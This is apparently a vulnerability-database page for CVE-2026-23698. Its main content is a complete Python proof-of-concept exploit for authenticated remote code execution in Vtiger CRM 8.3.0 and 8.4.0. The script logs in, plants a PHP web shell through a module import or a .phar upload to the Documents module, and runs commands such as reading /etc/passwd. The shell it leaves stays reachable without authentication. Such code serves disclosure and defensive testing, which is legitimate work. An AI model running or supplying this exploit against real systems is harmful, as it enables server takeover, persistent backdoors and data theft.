| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Exploit for CVE-2026-23698 | 7 Jul 202616:27 | – | githubexploit | |
| CVE-2026-23698 | 7 Jul 202616:10 | – | attackerkb | |
| CVE-2026-23698 | 7 Jul 202619:53 | – | circl | |
| CVE-2026-23698 | 7 Jul 202616:10 | – | cve | |
| CVE-2026-23698 Vtiger CRM 8.4.0 Authenticated RCE via Module Import File Upload | 7 Jul 202616:10 | – | cvelist | |
| EUVD-2026-42054 | 7 Jul 202616:10 | – | euvd | |
| CVE-2026-23698 | 7 Jul 202617:16 | – | nvd | |
| PT-2026-56208 | 7 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-23698 Vtiger CRM 8.4.0 Authenticated RCE via Module Import File Upload | 7 Jul 202616:10 | – | vulnrichment |
#!/usr/bin/env python3
"""
Vtiger CRM Authenticated RCE PoC
Tested on: Vtiger CRM 8.3.0, 8.4.0
Author: jiva (jivasecurity.com)
Two exploit modes:
--mode module (default)
Module import drops a PHP shell into the web-accessible modules/ directory.
No file-type validation on extracted contents.
Works on all vtiger 8.x installs with admin credentials.
Shell persists at /modules/<NAME>/shell.php (unauthenticated after install).
--mode phar (verifed against 8.3.0)
Uploads a .phar webshell via the Documents module, then uses the broken
storage/.htaccess (Apache 2.2 syntax silently ignored on 2.4) and directory
listing on /storage/ to locate and execute it.
Works on wizard-installed instances where 'phar' is absent from upload_badext.
Usage:
python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --port 8080 --cmd id
python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 --mode phar --cmd whoami
python3 Vtiger-8.4.0-RCE-PoC.py --host 192.168.3.9 -u admin -p admin --cmd 'cat /etc/passwd'
"""
import argparse
import datetime
import io
import random
import re
import string
import sys
import zipfile
import requests
requests.packages.urllib3.disable_warnings()
def get_csrf(session, url):
resp = session.get(url, verify=False)
m = re.search(r'csrfMagicToken\s*=\s*["\']([^"\']+)["\']', resp.text)
if not m:
m = re.search(r"name=['\"]__vtrftk['\"] value=['\"]([^'\"]+)['\"]", resp.text)
if not m:
sys.exit("[!] CSRF token not found")
return m.group(1)
def login(session, base, username, password):
csrf = get_csrf(session, f"{base}/index.php")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Users",
"action": "Login",
"username": username,
"password": password,
},
allow_redirects=True,
verify=False,
)
if "logout" not in resp.text.lower():
sys.exit("[!] Login failed — check credentials")
print("[+] Authenticated")
def exploit_module(session, base, cmd):
name = "Mod" + "".join(random.choices(string.ascii_uppercase, k=6))
manifest = f"""<?xml version="1.0"?>
<module>
<name>{name}</name>
<label>{name}</label>
<parent>Tools</parent>
<version>1.0</version>
<type>module</type>
<dependencies>
<vtiger_version>8.0.0</vtiger_version>
<vtiger_max_version>8.5.0</vtiger_max_version>
</dependencies>
</module>"""
lang = f'<?php $languageStrings = array("{name}" => "{name}"); ?>'
shell = b'<?php system($_GET["cmd"]); ?>'
buf = io.BytesIO()
with zipfile.ZipFile(buf, "w", zipfile.ZIP_DEFLATED) as zf:
zf.writestr("manifest.xml", manifest)
zf.writestr(f"modules/{name}/shell.php", shell)
zf.writestr(f"languages/en_us/{name}.php", lang)
buf.seek(0)
csrf = get_csrf(
session,
f"{base}/index.php?module=ModuleManager&parent=Settings"
"&view=ModuleImport&mode=importUserModuleStep1",
)
# Step 1: Upload the zip (importUserModuleStep2)
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "ModuleManager",
"moduleAction": "Import",
"parent": "Settings",
"view": "ModuleImport",
"mode": "importUserModuleStep2",
"acceptDisclaimer": "on",
},
files={"moduleZip": (f"{name}.zip", buf, "application/zip")},
verify=False,
)
m = re.search(r'value="(usermodule_\d+\.zip)"', resp.text)
if not m:
sys.exit("[!] Module upload failed — check response")
upload_file = m.group(1)
print(f"[+] Module uploaded: {upload_file}")
# Step 2: Install (importUserModuleStep3)
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "ModuleManager",
"parent": "Settings",
"action": "Basic",
"mode": "importUserModuleStep3",
"module_import_file": upload_file,
"module_import_type": "module",
"module_import_name": name,
},
headers={"X-Requested-With": "XMLHttpRequest"},
verify=False,
)
if '"success":true' not in resp.text:
sys.exit(f"[!] Module install failed: {resp.text[:300]}")
print(f"[+] Module installed: {name}")
shell_url = f"{base}/modules/{name}/shell.php"
out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
print(f"[+] Shell (no auth required): {shell_url}?cmd=<command>")
print(f"\n$ {cmd}")
print(out)
def exploit_phar(session, base, cmd):
csrf = get_csrf(session, f"{base}/index.php?module=Documents&view=Edit")
resp = session.post(
f"{base}/index.php",
data={
"__vtrftk": csrf,
"module": "Documents",
"action": "Save",
"record": "",
"notes_title": "report",
"folderid": "1",
"assigned_user_id": "1",
"notecontent": "test",
"filelocationtype": "I",
"filestatus": "1",
"fileversion": "1",
},
files={"filename": ("shell.phar", b'<?php system($_GET["cmd"]); ?>', "application/octet-stream")},
allow_redirects=False,
verify=False,
)
if resp.status_code not in (301, 302):
print("[!] No redirect after upload — 'phar' may be in the blocklist on this instance")
print(" Try --mode module instead")
sys.exit(1)
print("[+] .phar uploaded")
# Browse directory listing to find the file
now = datetime.datetime.now()
week = (now.day - 1) // 7 + 1
storage_url = f"{base}/storage/{now.year}/{now.strftime('%B')}/week{week}/"
resp = session.get(storage_url, verify=False)
m = re.search(r'href="(\d+_[a-f0-9]+\.phar)"', resp.text)
if not m:
sys.exit(f"[!] .phar not found in directory listing at {storage_url}\n"
f" Check storage/ manually or try a different week directory")
shell_url = storage_url + m.group(1)
print(f"[+] Shell: {shell_url}")
out = session.get(shell_url, params={"cmd": cmd}, verify=False).text.strip()
print(f"\n$ {cmd}")
print(out)
def main():
ap = argparse.ArgumentParser(
description="Vtiger CRM authenticated RCE PoC — ENG-2026-0005",
formatter_class=argparse.RawDescriptionHelpFormatter,
)
ap.add_argument("--host", required=True, help="Target host")
ap.add_argument("--port", type=int, default=8080, help="Target port (default: 8080)")
ap.add_argument("-u", "--username", default="admin", help="Username (default: admin)")
ap.add_argument("-p", "--password", default="admin", help="Password (default: admin)")
ap.add_argument(
"--mode",
choices=["module", "phar"],
default="module",
help="module: module import RCE, all installs (default); "
"phar: .phar upload, wizard-installed only",
)
ap.add_argument("--cmd", default="id", help="Command to execute (default: id)")
args = ap.parse_args()
base = f"http://{args.host}:{args.port}"
session = requests.Session()
session.headers["User-Agent"] = "Mozilla/5.0"
print(f"[*] Target: {base} mode={args.mode}")
login(session, base, args.username, args.password)
if args.mode == "module":
exploit_module(session, base, args.cmd)
else:
exploit_phar(session, base, args.cmd)
if __name__ == "__main__":
main()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation